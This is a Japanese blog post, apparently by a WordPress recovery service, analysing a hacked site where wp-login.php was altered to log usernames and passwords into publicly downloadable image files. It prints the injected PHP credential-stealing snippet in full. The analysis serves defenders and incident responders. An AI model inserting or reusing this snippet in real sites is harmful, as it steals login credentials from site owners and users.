2023年3月、つまり今月当社で復旧した案件についてご紹介します。
画像ファイル内に不正なコードが…というのはよくあることですが、単に拡張子をjpg等に書き換えているだけで画像としての実態を持たないものが多くあります。
こうした場合はjpgでありながら例えばプレビューで表示されないなど一般の方でも気が付く異常が見られます。
しかしながら、画像として実際に表示されていてかつ悪用されるということもあり、本件はそうしたケースです。
WordPressのアカウント情報(ログイン情報)を画像内に書き込み窃取する
このケースでは、wp-login.phpに改ざんが見られました。
/*login*/if($_POST['pwd']){ $m="Username:".$_POST['log']."
Password:".$_POST['pwd']."
IP:".$_SERVER["REMOTE_ADDR"]."
Time:".date("Y-m-d H:i:s",time())."
INFO:".$_SERVER['HTTP_USER_AGENT']."
“; @fwrite(fopen(“wp-admin/images/yes.png”,”a+”),$m); @fwrite(fopen(“logo.gif”,”a+”),$m);}
こうしたコードが挿入されており、誰かがログインした場合(パスワードがPOSTされた場合)にユーザー名、パスワード、そして時間やIPアドレス、ユーザーエージェントを記録します。
この記録は追記式になっており、このためユーザー名とパスワードを含んだ形のログイン履歴を残すものです。
その記録先が本件の場合は
wp-admin/images/yes.png
logo.gif
となっており、画像ファイルが選択されています。
例えばwp-admin/images/yes.pngは、この通り、もちろん画像として通常通り表示されています。
ところが、これをテキストエディタで見てみると、
このように画像データのあとにユーザー名、パスワードなどが書き込まれていることが分かります。
wp-admin/images/yes.pngはwp-admin配下ですが、この画像は直接URLを叩けば表示・ダウンロードが可能です。
つまり、外部からこの画像ファイルをダウンロードすることで、ログインできるアカウント情報を窃取することができてしまいます。
本件では約230件のログイン履歴が残されていました。
WordPressの置き換えによる復旧では対応不能
本件ではlogo.gifにもこの書き込みがなされていましたが、ほかにもここに出さないコードがありました。
自分で復旧する方法としてネット上に流布されているような、単にWordPressのコアやプラグインの置き換えをする復旧方法では、この場合ログイン情報を窃取され続けることが分かっています。
パスワードをいくら複雑に変更しても、こうした形で流出し続けてしまうと改ざん被害は止まらないことになります。
カテゴリ:
タグ: